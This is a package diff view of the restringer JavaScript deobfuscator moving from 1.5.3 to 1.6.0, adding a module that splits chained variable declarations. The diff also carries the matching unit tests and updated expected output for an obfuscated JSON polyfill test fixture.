restringer
Advanced tools
Comparing version 1.5.3 to 1.6.0
{ | ||
"name": "restringer", | ||
"version": "1.5.3", | ||
"version": "1.6.0", | ||
"description": "Deobfuscate Javascript with emphasis on reconstructing strings", | ||
@@ -5,0 +5,0 @@ "main": "index.js", |
@@ -25,2 +25,3 @@ module.exports = { | ||
resolveRedundantLogicalExpressions: require(__dirname + '/resolveRedundantLogicalExpressions'), | ||
separateChainedDeclarators: require(__dirname + '/separateChainedDeclarators'), | ||
simplifyCalls: require(__dirname + '/simplifyCalls'), | ||
@@ -27,0 +28,0 @@ unwrapFunctionShells: require(__dirname + '/unwrapFunctionShells'), |
@@ -38,2 +38,3 @@ #!/usr/bin/env node | ||
unwrapSimpleOperations, | ||
separateChainedDeclarators, | ||
}, | ||
@@ -100,2 +101,3 @@ unsafe: { | ||
rearrangeSequences, | ||
separateChainedDeclarators, | ||
rearrangeSwitches, | ||
@@ -102,0 +104,0 @@ normalizeEmptyStatements, |
@@ -213,3 +213,3 @@ module.exports = [ | ||
source: 'const a = ["hello"], b = a[0], c = b; console.log(c);', | ||
expected: `const a = ['hello'], b = 'hello', c = 'hello';\nconsole.log('hello');`, | ||
expected: `const a = ['hello'];\nconst b = 'hello';\nconst c = 'hello';\nconsole.log('hello');`, | ||
}, | ||
@@ -220,3 +220,3 @@ { | ||
source: 'const a = ["hello"], b = a[0];', | ||
expected: `const a = ['hello'], b = 'hello';`, | ||
expected: `const a = ['hello'];\nconst b = 'hello';`, | ||
}, | ||
@@ -239,5 +239,6 @@ { | ||
expected: `const a = [ | ||
'hello', | ||
' world' | ||
], b = 'hello'; | ||
'hello', | ||
' world' | ||
]; | ||
const b = 'hello'; | ||
console.log('hello world');`, | ||
@@ -374,3 +375,4 @@ }, | ||
console.log(a.n, a.b);`, | ||
expected: `const n = 3, b = 'B'; | ||
expected: `const n = 3; | ||
const b = 'B'; | ||
const a = { b: 'hello' }; | ||
@@ -377,0 +379,0 @@ a.n = 15; |
@@ -459,2 +459,40 @@ const {generateFlatAST} = require('flast'); | ||
enabled: true, | ||
name: 'separateChainedDeclarators - TP-1', | ||
func: __dirname + '/../src/modules/safe/separateChainedDeclarators', | ||
source: `const foo = 5, bar = 7;`, | ||
expected: `const foo = 5;\nconst bar = 7;`, | ||
}, | ||
{ | ||
enabled: true, | ||
name: 'separateChainedDeclarators - TP-2', | ||
func: __dirname + '/../src/modules/safe/separateChainedDeclarators', | ||
source: `const a = 1; let foo = 5, bar = 7;`, | ||
expected: `const a = 1;\nlet foo = 5;\nlet bar = 7;`, | ||
}, | ||
{ | ||
enabled: true, | ||
looped: true, | ||
name: 'separateChainedDeclarators - TP-3', | ||
func: __dirname + '/../src/modules/safe/separateChainedDeclarators', | ||
source: `!function() {var a, b = 2; let c, d = 3;}();`, | ||
expected: `!function () {\n var a;\n var b = 2;\n let c;\n let d = 3;\n}();`, | ||
}, | ||
{ | ||
enabled: true, | ||
looped: true, | ||
name: 'separateChainedDeclarators - TP-4', | ||
func: __dirname + '/../src/modules/safe/separateChainedDeclarators', | ||
source: `if (a) var b, c; while (true) var e = 3, d = 3;`, | ||
expected: `if (a) {\n var b;\n var c;\n}\nwhile (true) {\n var e = 3;\n var d = 3;\n}`, | ||
}, | ||
{ | ||
enabled: true, | ||
looped: true, | ||
name: 'separateChainedDeclarators - TN-1', | ||
func: __dirname + '/../src/modules/safe/separateChainedDeclarators', | ||
source: `for (let i, b = 2, c = 3;;);`, | ||
expected: `for (let i, b = 2, c = 3;;);`, | ||
}, | ||
{ | ||
enabled: true, | ||
name: 'simplifyCalls - TP-1', | ||
@@ -461,0 +499,0 @@ func: __dirname + '/../src/modules/safe/simplifyCalls', |
@@ -403,3 +403,7 @@ var _0x3378 = [ | ||
var _0x1983dc = function (_0x1d28fa, _0xd241d1) { | ||
var _0x3b7efa = [], _0x4d23fe = 0, _0x20f665, _0xdbb453 = '', _0x1a40ed = ''; | ||
var _0x3b7efa = []; | ||
var _0x4d23fe = 0; | ||
var _0x20f665; | ||
var _0xdbb453 = ''; | ||
var _0x1a40ed = ''; | ||
_0x1d28fa = atob(_0x1d28fa); | ||
@@ -528,3 +532,10 @@ for (var _0x414465 = 0, _0x156a88 = _0x1d28fa.length; _0x414465 < _0x156a88; _0x414465++) { | ||
} | ||
var _0x51a329 = _0x47bc37.Number || _0x2f26d7.Number, _0x5a647d = _0x47bc37.String || _0x2f26d7.String, _0x523f86 = _0x47bc37.Object || _0x2f26d7.Object, _0x11a053 = _0x47bc37.Date || _0x2f26d7.Date, _0x1c814f = _0x47bc37.SyntaxError || _0x2f26d7.SyntaxError, _0x34fea9 = _0x47bc37.TypeError || _0x2f26d7.TypeError, _0x5002c2 = _0x47bc37.Math || _0x2f26d7.Math, _0x354566 = _0x47bc37.JSON || _0x2f26d7.JSON; | ||
var _0x51a329 = _0x47bc37.Number || _0x2f26d7.Number; | ||
var _0x5a647d = _0x47bc37.String || _0x2f26d7.String; | ||
var _0x523f86 = _0x47bc37.Object || _0x2f26d7.Object; | ||
var _0x11a053 = _0x47bc37.Date || _0x2f26d7.Date; | ||
var _0x1c814f = _0x47bc37.SyntaxError || _0x2f26d7.SyntaxError; | ||
var _0x34fea9 = _0x47bc37.TypeError || _0x2f26d7.TypeError; | ||
var _0x5002c2 = _0x47bc37.Math || _0x2f26d7.Math; | ||
var _0x354566 = _0x47bc37.JSON || _0x2f26d7.JSON; | ||
if ('object' == typeof _0x354566 && _0x354566) { | ||
@@ -534,3 +545,8 @@ _0x49a2f7.stringify = _0x354566.stringify; | ||
} | ||
var _0x523f86 = _0x523f86.prototype, _0x2781de = _0x523f86.toString, _0x4a23a5, _0x4ffa0e, _0x2750a9, _0x3b41d8 = new _0x11a053(-3509827334573292); | ||
var _0x523f86 = _0x523f86.prototype; | ||
var _0x2781de = _0x523f86.toString; | ||
var _0x4a23a5; | ||
var _0x4ffa0e; | ||
var _0x2750a9; | ||
var _0x3b41d8 = new _0x11a053(-3509827334573292); | ||
try { | ||
@@ -542,22 +558,26 @@ _0x3b41d8 = -109252 == _0x3b41d8.getUTCFullYear() && 0 === _0x3b41d8.getUTCMonth() && 1 === _0x3b41d8.getUTCDate() && 10 == _0x3b41d8.getUTCHours() && 37 == _0x3b41d8.getUTCMinutes() && 6 == _0x3b41d8.getUTCSeconds() && 708 == _0x3b41d8.getUTCMilliseconds(); | ||
var _0x39b9bf = false; | ||
if (!_0x3b41d8) | ||
var _0x47a41c = _0x5002c2.floor, _0x28ce1e = [ | ||
0, | ||
31, | ||
59, | ||
90, | ||
120, | ||
151, | ||
181, | ||
212, | ||
243, | ||
273, | ||
304, | ||
334 | ||
], _0x4021b9 = function (_0x10b98a, _0x1098e2) { | ||
return _0x28ce1e[_0x1098e2] + 365 * (_0x10b98a - 1970) + _0x5002c2.floor((_0x10b98a - 1969 + (_0x1098e2 = +(1 < _0x1098e2))) / 4) - _0x5002c2.floor((_0x10b98a - 1901 + _0x1098e2) / 100) + _0x5002c2.floor((_0x10b98a - 1601 + _0x1098e2) / 400); | ||
}; | ||
if (!_0x3b41d8) { | ||
var _0x47a41c = _0x5002c2.floor; | ||
var _0x28ce1e = [ | ||
0, | ||
31, | ||
59, | ||
90, | ||
120, | ||
151, | ||
181, | ||
212, | ||
243, | ||
273, | ||
304, | ||
334 | ||
]; | ||
var _0x4021b9 = function (_0x10b98a, _0x1098e2) { | ||
return _0x28ce1e[_0x1098e2] + 365 * (_0x10b98a - 1970) + _0x5002c2.floor((_0x10b98a - 1969 + (_0x1098e2 = +(1 < _0x1098e2))) / 4) - _0x5002c2.floor((_0x10b98a - 1901 + _0x1098e2) / 100) + _0x5002c2.floor((_0x10b98a - 1601 + _0x1098e2) / 400); | ||
}; | ||
} | ||
if (!(_0x4a23a5 = _0x523f86.hasOwnProperty)) { | ||
_0x4a23a5 = function (_0x4cd1e1) { | ||
var _0x70dec9 = {}, _0x886b9b; | ||
var _0x70dec9 = {}; | ||
var _0x886b9b; | ||
(_0x70dec9.__proto__ = null, _0x70dec9.__proto__ = { toString: 1 }, _0x70dec9).toString != _0x523f86.toString ? _0x4a23a5 = function (_0x418e73) { | ||
@@ -577,3 +597,6 @@ var _0x2e05b1 = this.__proto__; | ||
_0x4ffa0e = function (_0x4297dd, _0x58a00b) { | ||
var _0x13f73a = 0, _0x5101f0, _0x2e2f2f, _0x39f121; | ||
var _0x13f73a = 0; | ||
var _0x5101f0; | ||
var _0x2e2f2f; | ||
var _0x39f121; | ||
(_0x5101f0 = function () { | ||
@@ -589,3 +612,5 @@ this.valueOf = 0; | ||
_0x13f73a ? _0x4ffa0e = 2 == _0x13f73a ? function (_0x59e806, _0x520112) { | ||
var _0x141d5b = {}, _0x4ea034 = '[object Function]' == _0x523f86.toString.call(_0x59e806), _0x3e218f; | ||
var _0x141d5b = {}; | ||
var _0x4ea034 = '[object Function]' == _0x523f86.toString.call(_0x59e806); | ||
var _0x3e218f; | ||
for (_0x3e218f in _0x59e806) | ||
@@ -596,3 +621,5 @@ if (!(_0x4ea034 && 'prototype' == _0x3e218f || _0x4a23a5.call(_0x141d5b, _0x3e218f) || !(_0x141d5b[_0x3e218f] = 1) || !_0x4a23a5.call(_0x59e806, _0x3e218f))) { | ||
} : function (_0x37982f, _0x47961c) { | ||
var _0x5c6c7f = '[object Function]' == _0x523f86.toString.call(_0x37982f), _0x55492e, _0x3e9b68; | ||
var _0x5c6c7f = '[object Function]' == _0x523f86.toString.call(_0x37982f); | ||
var _0x55492e; | ||
var _0x3e9b68; | ||
for (_0x55492e in _0x37982f) | ||
@@ -614,3 +641,5 @@ if (!(_0x5c6c7f && 'prototype' == _0x55492e || !_0x4a23a5.call(_0x37982f, _0x55492e) || (_0x3e9b68 = 'constructor' === _0x55492e))) { | ||
], _0x4ffa0e = function (_0x45bd10, _0x7da666) { | ||
var _0xfd6dc5 = '[object Function]' == _0x523f86.toString.call(_0x45bd10), _0x596172, _0x45f0e5 = !_0xfd6dc5 && 'function' != typeof _0x45bd10.constructor && _0x3db551[typeof _0x45bd10.hasOwnProperty] && _0x45bd10.hasOwnProperty || _0x4a23a5; | ||
var _0xfd6dc5 = '[object Function]' == _0x523f86.toString.call(_0x45bd10); | ||
var _0x596172; | ||
var _0x45f0e5 = !_0xfd6dc5 && 'function' != typeof _0x45bd10.constructor && _0x3db551[typeof _0x45bd10.hasOwnProperty] && _0x45bd10.hasOwnProperty || _0x4a23a5; | ||
for (_0x596172 in _0x45bd10) | ||
@@ -626,110 +655,124 @@ if (!(_0xfd6dc5 && 'prototype' == _0x596172 || !_0x45f0e5.call(_0x45bd10, _0x596172))) { | ||
var _0x320c58 = { | ||
92: '\\\\', | ||
34: '\\"', | ||
8: '\\b', | ||
12: '\\f', | ||
10: '\\n', | ||
13: '\\r', | ||
9: '\\t' | ||
}, _0x3aeb70 = function (_0x24b9d5, _0x5d292f) { | ||
return ('000000' + (_0x5d292f || 0)).slice(-_0x24b9d5); | ||
}, _0x33aa4c = function (_0x363abc) { | ||
for (var _0x2143a1 = '"', _0x18c7f2 = 0, _0x7f9ff0 = _0x363abc.length, _0x1fc035 = true || 10 < _0x7f9ff0, _0x4ca1ea = _0x1fc035 && _0x363abc; _0x18c7f2 < _0x7f9ff0; _0x18c7f2++) { | ||
var _0x3f4acc = _0x363abc.charCodeAt(_0x18c7f2); | ||
switch (_0x3f4acc) { | ||
case 8: | ||
case 9: | ||
case 10: | ||
case 12: | ||
case 13: | ||
case 34: | ||
case 92: | ||
_0x2143a1 += _0x320c58[_0x3f4acc]; | ||
92: '\\\\', | ||
34: '\\"', | ||
8: '\\b', | ||
12: '\\f', | ||
10: '\\n', | ||
13: '\\r', | ||
9: '\\t' | ||
}; | ||
var _0x3aeb70 = function (_0x24b9d5, _0x5d292f) { | ||
return ('000000' + (_0x5d292f || 0)).slice(-_0x24b9d5); | ||
}; | ||
var _0x33aa4c = function (_0x363abc) { | ||
for (var _0x2143a1 = '"', _0x18c7f2 = 0, _0x7f9ff0 = _0x363abc.length, _0x1fc035 = true || 10 < _0x7f9ff0, _0x4ca1ea = _0x1fc035 && _0x363abc; _0x18c7f2 < _0x7f9ff0; _0x18c7f2++) { | ||
var _0x3f4acc = _0x363abc.charCodeAt(_0x18c7f2); | ||
switch (_0x3f4acc) { | ||
case 8: | ||
case 9: | ||
case 10: | ||
case 12: | ||
case 13: | ||
case 34: | ||
case 92: | ||
_0x2143a1 += _0x320c58[_0x3f4acc]; | ||
break; | ||
default: | ||
if (32 > _0x3f4acc) { | ||
_0x2143a1 += '\\u00' + _0x3aeb70(2, _0x3f4acc.toString(16)); | ||
break; | ||
default: | ||
if (32 > _0x3f4acc) { | ||
_0x2143a1 += '\\u00' + _0x3aeb70(2, _0x3f4acc.toString(16)); | ||
break; | ||
} | ||
_0x2143a1 += _0x1fc035 ? _0x4ca1ea[_0x18c7f2] : _0x363abc.charAt(_0x18c7f2); | ||
} | ||
_0x2143a1 += _0x1fc035 ? _0x4ca1ea[_0x18c7f2] : _0x363abc.charAt(_0x18c7f2); | ||
} | ||
return _0x2143a1 + '"'; | ||
}, _0x5d33df = function (_0xbba392, _0x177d4e, _0x422e15, _0x284b34, _0x5a5410, _0x273e25, _0x27e5ed) { | ||
var _0x860e54, _0x5248ae, _0x5d6fda, _0x216757, _0x490f96, _0x5814f6, _0x310bb9, _0x15c166, _0x2f9d0f; | ||
try { | ||
_0x860e54 = _0x177d4e[_0xbba392]; | ||
} catch (_0x9244ae) { | ||
} | ||
if ('object' == typeof _0x860e54 && _0x860e54) { | ||
_0x5248ae = _0x523f86.toString.call(_0x860e54); | ||
if ('[object Date]' != _0x5248ae || _0x4a23a5.call(_0x860e54, 'toJSON')) | ||
if ('function' == typeof _0x860e54.toJSON && ('[object Number]' != _0x5248ae && '[object String]' != _0x5248ae && '[object Array]' != _0x5248ae || _0x4a23a5.call(_0x860e54, 'toJSON'))) { | ||
_0x860e54 = _0x860e54.toJSON(_0xbba392); | ||
} else if (_0x860e54 > -Infinity && _0x860e54 < Infinity) { | ||
if (_0x4021b9) { | ||
_0x216757 = _0x5002c2.floor(_0x860e54 / 86400000); | ||
for (_0x5248ae = _0x5002c2.floor(_0x216757 / 365.2425) + 1970 - 1; _0x4021b9(_0x5248ae + 1, 0) <= _0x216757; _0x5248ae++); | ||
for (_0x5d6fda = _0x5002c2.floor((_0x216757 - _0x4021b9(_0x5248ae, 0)) / 30.42); _0x4021b9(_0x5248ae, _0x5d6fda + 1) <= _0x216757; _0x5d6fda++); | ||
_0x216757 = 1 + _0x216757 - _0x4021b9(_0x5248ae, _0x5d6fda); | ||
_0x490f96 = (_0x860e54 % 86400000 + 86400000) % 86400000; | ||
_0x5814f6 = _0x5002c2.floor(_0x490f96 / 3600000) % 24; | ||
_0x310bb9 = _0x5002c2.floor(_0x490f96 / 60000) % 60; | ||
_0x15c166 = _0x5002c2.floor(_0x490f96 / 1000) % 60; | ||
_0x490f96 %= 1000; | ||
} else { | ||
_0x5248ae = _0x860e54.getUTCFullYear(); | ||
_0x5d6fda = _0x860e54.getUTCMonth(); | ||
_0x216757 = _0x860e54.getUTCDate(); | ||
_0x5814f6 = _0x860e54.getUTCHours(); | ||
_0x310bb9 = _0x860e54.getUTCMinutes(); | ||
_0x15c166 = _0x860e54.getUTCSeconds(); | ||
_0x490f96 = _0x860e54.getUTCMilliseconds(); | ||
} | ||
_0x860e54 = (0 >= _0x5248ae || 10000 <= _0x5248ae ? (0 > _0x5248ae ? '-' : '+') + _0x3aeb70(6, 0 > _0x5248ae ? -_0x5248ae : _0x5248ae) : _0x3aeb70(4, _0x5248ae)) + '-' + _0x3aeb70(2, _0x5d6fda + 1) + '-' + _0x3aeb70(2, _0x216757) + 'T' + _0x3aeb70(2, _0x5814f6) + ':' + _0x3aeb70(2, _0x310bb9) + ':' + _0x3aeb70(2, _0x15c166) + '.' + _0x3aeb70(3, _0x490f96) + 'Z'; | ||
} else | ||
_0x860e54 = null; | ||
} | ||
if (_0x422e15) { | ||
_0x860e54 = _0x422e15.call(_0x177d4e, _0xbba392, _0x860e54); | ||
} | ||
if (null === _0x860e54) | ||
return 'null'; | ||
} | ||
return _0x2143a1 + '"'; | ||
}; | ||
var _0x5d33df = function (_0xbba392, _0x177d4e, _0x422e15, _0x284b34, _0x5a5410, _0x273e25, _0x27e5ed) { | ||
var _0x860e54; | ||
var _0x5248ae; | ||
var _0x5d6fda; | ||
var _0x216757; | ||
var _0x490f96; | ||
var _0x5814f6; | ||
var _0x310bb9; | ||
var _0x15c166; | ||
var _0x2f9d0f; | ||
try { | ||
_0x860e54 = _0x177d4e[_0xbba392]; | ||
} catch (_0x9244ae) { | ||
} | ||
if ('object' == typeof _0x860e54 && _0x860e54) { | ||
_0x5248ae = _0x523f86.toString.call(_0x860e54); | ||
if ('[object Boolean]' == _0x5248ae) | ||
return '' + _0x860e54; | ||
if ('[object Number]' == _0x5248ae) | ||
return _0x860e54 > -Infinity && _0x860e54 < Infinity ? '' + _0x860e54 : 'null'; | ||
if ('[object String]' == _0x5248ae) | ||
return _0x33aa4c('' + _0x860e54); | ||
if ('object' == typeof _0x860e54) { | ||
for (_0xbba392 = _0x27e5ed.length; _0xbba392--;) | ||
if (_0x27e5ed[_0xbba392] === _0x860e54) | ||
throw _0x34fea9(); | ||
_0x27e5ed.push(_0x860e54); | ||
_0x2f9d0f = []; | ||
_0x177d4e = _0x273e25; | ||
_0x273e25 += _0x5a5410; | ||
if ('[object Array]' == _0x5248ae) { | ||
_0x5d6fda = 0; | ||
for (_0xbba392 = _0x860e54.length; _0x5d6fda < _0xbba392; _0x5d6fda++) { | ||
_0x5248ae = _0x5d33df(_0x5d6fda, _0x860e54, _0x422e15, _0x284b34, _0x5a5410, _0x273e25, _0x27e5ed); | ||
_0x2f9d0f.push(_0x5248ae === _0x2750a9 ? 'null' : _0x5248ae); | ||
if ('[object Date]' != _0x5248ae || _0x4a23a5.call(_0x860e54, 'toJSON')) | ||
if ('function' == typeof _0x860e54.toJSON && ('[object Number]' != _0x5248ae && '[object String]' != _0x5248ae && '[object Array]' != _0x5248ae || _0x4a23a5.call(_0x860e54, 'toJSON'))) { | ||
_0x860e54 = _0x860e54.toJSON(_0xbba392); | ||
} else if (_0x860e54 > -Infinity && _0x860e54 < Infinity) { | ||
if (_0x4021b9) { | ||
_0x216757 = _0x5002c2.floor(_0x860e54 / 86400000); | ||
for (_0x5248ae = _0x5002c2.floor(_0x216757 / 365.2425) + 1970 - 1; _0x4021b9(_0x5248ae + 1, 0) <= _0x216757; _0x5248ae++); | ||
for (_0x5d6fda = _0x5002c2.floor((_0x216757 - _0x4021b9(_0x5248ae, 0)) / 30.42); _0x4021b9(_0x5248ae, _0x5d6fda + 1) <= _0x216757; _0x5d6fda++); | ||
_0x216757 = 1 + _0x216757 - _0x4021b9(_0x5248ae, _0x5d6fda); | ||
_0x490f96 = (_0x860e54 % 86400000 + 86400000) % 86400000; | ||
_0x5814f6 = _0x5002c2.floor(_0x490f96 / 3600000) % 24; | ||
_0x310bb9 = _0x5002c2.floor(_0x490f96 / 60000) % 60; | ||
_0x15c166 = _0x5002c2.floor(_0x490f96 / 1000) % 60; | ||
_0x490f96 %= 1000; | ||
} else { | ||
_0x5248ae = _0x860e54.getUTCFullYear(); | ||
_0x5d6fda = _0x860e54.getUTCMonth(); | ||
_0x216757 = _0x860e54.getUTCDate(); | ||
_0x5814f6 = _0x860e54.getUTCHours(); | ||
_0x310bb9 = _0x860e54.getUTCMinutes(); | ||
_0x15c166 = _0x860e54.getUTCSeconds(); | ||
_0x490f96 = _0x860e54.getUTCMilliseconds(); | ||
} | ||
_0xbba392 = _0x2f9d0f.length ? _0x5a5410 ? '[\n' + _0x273e25 + _0x2f9d0f.join(',\n' + _0x273e25) + '\n' + _0x177d4e + ']' : '[' + _0x2f9d0f.join(',') + ']' : '[]'; | ||
} else { | ||
_0x4ffa0e(_0x284b34 || _0x860e54, function (_0x2463be) { | ||
var _0x333d60 = _0x5d33df(_0x2463be, _0x860e54, _0x422e15, _0x284b34, _0x5a5410, _0x273e25, _0x27e5ed); | ||
if (_0x333d60 !== _0x2750a9) { | ||
_0x2f9d0f.push(_0x33aa4c(_0x2463be) + ':' + (_0x5a5410 ? ' ' : '') + _0x333d60); | ||
} | ||
}); | ||
_0xbba392 = _0x2f9d0f.length ? _0x5a5410 ? '{\n' + _0x273e25 + _0x2f9d0f.join(',\n' + _0x273e25) + '\n' + _0x177d4e + '}' : '{' + _0x2f9d0f.join(',') + '}' : '{}'; | ||
_0x860e54 = (0 >= _0x5248ae || 10000 <= _0x5248ae ? (0 > _0x5248ae ? '-' : '+') + _0x3aeb70(6, 0 > _0x5248ae ? -_0x5248ae : _0x5248ae) : _0x3aeb70(4, _0x5248ae)) + '-' + _0x3aeb70(2, _0x5d6fda + 1) + '-' + _0x3aeb70(2, _0x216757) + 'T' + _0x3aeb70(2, _0x5814f6) + ':' + _0x3aeb70(2, _0x310bb9) + ':' + _0x3aeb70(2, _0x15c166) + '.' + _0x3aeb70(3, _0x490f96) + 'Z'; | ||
} else | ||
_0x860e54 = null; | ||
} | ||
if (_0x422e15) { | ||
_0x860e54 = _0x422e15.call(_0x177d4e, _0xbba392, _0x860e54); | ||
} | ||
if (null === _0x860e54) | ||
return 'null'; | ||
_0x5248ae = _0x523f86.toString.call(_0x860e54); | ||
if ('[object Boolean]' == _0x5248ae) | ||
return '' + _0x860e54; | ||
if ('[object Number]' == _0x5248ae) | ||
return _0x860e54 > -Infinity && _0x860e54 < Infinity ? '' + _0x860e54 : 'null'; | ||
if ('[object String]' == _0x5248ae) | ||
return _0x33aa4c('' + _0x860e54); | ||
if ('object' == typeof _0x860e54) { | ||
for (_0xbba392 = _0x27e5ed.length; _0xbba392--;) | ||
if (_0x27e5ed[_0xbba392] === _0x860e54) | ||
throw _0x34fea9(); | ||
_0x27e5ed.push(_0x860e54); | ||
_0x2f9d0f = []; | ||
_0x177d4e = _0x273e25; | ||
_0x273e25 += _0x5a5410; | ||
if ('[object Array]' == _0x5248ae) { | ||
_0x5d6fda = 0; | ||
for (_0xbba392 = _0x860e54.length; _0x5d6fda < _0xbba392; _0x5d6fda++) { | ||
_0x5248ae = _0x5d33df(_0x5d6fda, _0x860e54, _0x422e15, _0x284b34, _0x5a5410, _0x273e25, _0x27e5ed); | ||
_0x2f9d0f.push(_0x5248ae === _0x2750a9 ? 'null' : _0x5248ae); | ||
} | ||
_0x27e5ed.pop(); | ||
return _0xbba392; | ||
_0xbba392 = _0x2f9d0f.length ? _0x5a5410 ? '[\n' + _0x273e25 + _0x2f9d0f.join(',\n' + _0x273e25) + '\n' + _0x177d4e + ']' : '[' + _0x2f9d0f.join(',') + ']' : '[]'; | ||
} else { | ||
_0x4ffa0e(_0x284b34 || _0x860e54, function (_0x2463be) { | ||
var _0x333d60 = _0x5d33df(_0x2463be, _0x860e54, _0x422e15, _0x284b34, _0x5a5410, _0x273e25, _0x27e5ed); | ||
if (_0x333d60 !== _0x2750a9) { | ||
_0x2f9d0f.push(_0x33aa4c(_0x2463be) + ':' + (_0x5a5410 ? ' ' : '') + _0x333d60); | ||
} | ||
}); | ||
_0xbba392 = _0x2f9d0f.length ? _0x5a5410 ? '{\n' + _0x273e25 + _0x2f9d0f.join(',\n' + _0x273e25) + '\n' + _0x177d4e + '}' : '{' + _0x2f9d0f.join(',') + '}' : '{}'; | ||
} | ||
}; | ||
_0x27e5ed.pop(); | ||
return _0xbba392; | ||
} | ||
}; | ||
_0x49a2f7.stringify = function (_0x12d51b, _0x4aa450, _0x3efa30) { | ||
var _0x2fbc96, _0x32d69c, _0x5090af, _0x5d0bf1; | ||
var _0x2fbc96; | ||
var _0x32d69c; | ||
var _0x5090af; | ||
var _0x5d0bf1; | ||
if (_0x3db551[typeof _0x4aa450] && _0x4aa450) | ||
@@ -753,184 +796,195 @@ if ('[object Function]' == (_0x5d0bf1 = _0x523f86.toString.call(_0x4aa450))) | ||
if (!_0x56b1e2('json-parse')) { | ||
var _0x3f89b9 = _0x5a647d.fromCharCode, _0x11b5bd = { | ||
92: '\\', | ||
34: '"', | ||
47: '/', | ||
98: '', | ||
116: ' ', | ||
110: '\n', | ||
102: '', | ||
114: '\r' | ||
}, _0x16aa5b, _0x5e15d0, _0x2614a6 = function () { | ||
_0x16aa5b = _0x5e15d0 = null; | ||
throw _0x1c814f(); | ||
}, _0x2868d4 = function () { | ||
for (var _0x335727 = _0x5e15d0.length, _0x58335a, _0x293f65, _0x467cb7, _0x3f2c64, _0x1f630b; _0x16aa5b < _0x335727;) | ||
switch (_0x1f630b = _0x5e15d0.charCodeAt(_0x16aa5b), _0x1f630b) { | ||
case 9: | ||
case 10: | ||
case 13: | ||
case 32: | ||
var _0x3f89b9 = _0x5a647d.fromCharCode; | ||
var _0x11b5bd = { | ||
92: '\\', | ||
34: '"', | ||
47: '/', | ||
98: '', | ||
116: ' ', | ||
110: '\n', | ||
102: '', | ||
114: '\r' | ||
}; | ||
var _0x16aa5b; | ||
var _0x5e15d0; | ||
var _0x2614a6 = function () { | ||
_0x16aa5b = _0x5e15d0 = null; | ||
throw _0x1c814f(); | ||
}; | ||
var _0x2868d4 = function () { | ||
for (var _0x335727 = _0x5e15d0.length, _0x58335a, _0x293f65, _0x467cb7, _0x3f2c64, _0x1f630b; _0x16aa5b < _0x335727;) | ||
switch (_0x1f630b = _0x5e15d0.charCodeAt(_0x16aa5b), _0x1f630b) { | ||
case 9: | ||
case 10: | ||
case 13: | ||
case 32: | ||
_0x16aa5b++; | ||
break; | ||
case 123: | ||
case 125: | ||
case 91: | ||
case 93: | ||
case 58: | ||
case 44: { | ||
_0x58335a = _0x5e15d0[_0x16aa5b]; | ||
_0x16aa5b++; | ||
break; | ||
case 123: | ||
case 125: | ||
case 91: | ||
case 93: | ||
case 58: | ||
case 44: { | ||
_0x58335a = _0x5e15d0[_0x16aa5b]; | ||
_0x16aa5b++; | ||
return _0x58335a; | ||
} | ||
case 34: | ||
_0x58335a = '@'; | ||
for (_0x16aa5b++; _0x16aa5b < _0x335727;) { | ||
_0x1f630b = _0x5e15d0.charCodeAt(_0x16aa5b); | ||
if (32 > _0x1f630b) | ||
_0x2614a6(); | ||
else if (92 == _0x1f630b) | ||
switch (_0x1f630b = _0x5e15d0.charCodeAt(++_0x16aa5b), _0x1f630b) { | ||
case 92: | ||
case 34: | ||
case 47: | ||
case 98: | ||
case 116: | ||
case 110: | ||
case 102: | ||
case 114: | ||
_0x58335a += _0x11b5bd[_0x1f630b]; | ||
_0x16aa5b++; | ||
break; | ||
case 117: | ||
_0x293f65 = ++_0x16aa5b; | ||
for (_0x467cb7 = _0x16aa5b + 4; _0x16aa5b < _0x467cb7; _0x16aa5b++) { | ||
_0x1f630b = _0x5e15d0.charCodeAt(_0x16aa5b); | ||
if (!(48 <= _0x1f630b && 57 >= _0x1f630b || 97 <= _0x1f630b && 102 >= _0x1f630b || 65 <= _0x1f630b && 70 >= _0x1f630b)) { | ||
_0x2614a6(); | ||
} | ||
return _0x58335a; | ||
} | ||
case 34: | ||
_0x58335a = '@'; | ||
for (_0x16aa5b++; _0x16aa5b < _0x335727;) { | ||
_0x1f630b = _0x5e15d0.charCodeAt(_0x16aa5b); | ||
if (32 > _0x1f630b) | ||
_0x2614a6(); | ||
else if (92 == _0x1f630b) | ||
switch (_0x1f630b = _0x5e15d0.charCodeAt(++_0x16aa5b), _0x1f630b) { | ||
case 92: | ||
case 34: | ||
case 47: | ||
case 98: | ||
case 116: | ||
case 110: | ||
case 102: | ||
case 114: | ||
_0x58335a += _0x11b5bd[_0x1f630b]; | ||
_0x16aa5b++; | ||
break; | ||
case 117: | ||
_0x293f65 = ++_0x16aa5b; | ||
for (_0x467cb7 = _0x16aa5b + 4; _0x16aa5b < _0x467cb7; _0x16aa5b++) { | ||
_0x1f630b = _0x5e15d0.charCodeAt(_0x16aa5b); | ||
if (!(48 <= _0x1f630b && 57 >= _0x1f630b || 97 <= _0x1f630b && 102 >= _0x1f630b || 65 <= _0x1f630b && 70 >= _0x1f630b)) { | ||
_0x2614a6(); | ||
} | ||
_0x58335a += _0x5a647d.fromCharCode('0x' + _0x5e15d0.slice(_0x293f65, _0x16aa5b)); | ||
break; | ||
default: | ||
_0x2614a6(); | ||
} | ||
else { | ||
if (34 == _0x1f630b) | ||
break; | ||
_0x1f630b = _0x5e15d0.charCodeAt(_0x16aa5b); | ||
for (_0x293f65 = _0x16aa5b; 32 <= _0x1f630b && 92 != _0x1f630b && 34 != _0x1f630b;) | ||
_0x1f630b = _0x5e15d0.charCodeAt(++_0x16aa5b); | ||
_0x58335a += _0x5e15d0.slice(_0x293f65, _0x16aa5b); | ||
_0x58335a += _0x5a647d.fromCharCode('0x' + _0x5e15d0.slice(_0x293f65, _0x16aa5b)); | ||
break; | ||
default: | ||
_0x2614a6(); | ||
} | ||
} | ||
if (34 == _0x5e15d0.charCodeAt(_0x16aa5b)) { | ||
_0x16aa5b++; | ||
return _0x58335a; | ||
} | ||
_0x2614a6(); | ||
default: | ||
_0x293f65 = _0x16aa5b; | ||
if (45 == _0x1f630b) { | ||
_0x3f2c64 = true; | ||
_0x1f630b = _0x5e15d0.charCodeAt(++_0x16aa5b); | ||
} | ||
if (48 <= _0x1f630b && 57 >= _0x1f630b) { | ||
for (48 == _0x1f630b && (_0x1f630b = _0x5e15d0.charCodeAt(_0x16aa5b + 1), 48 <= _0x1f630b && 57 >= _0x1f630b) && _0x2614a6(); _0x16aa5b < _0x335727 && (_0x1f630b = _0x5e15d0.charCodeAt(_0x16aa5b), 48 <= _0x1f630b && 57 >= _0x1f630b); _0x16aa5b++); | ||
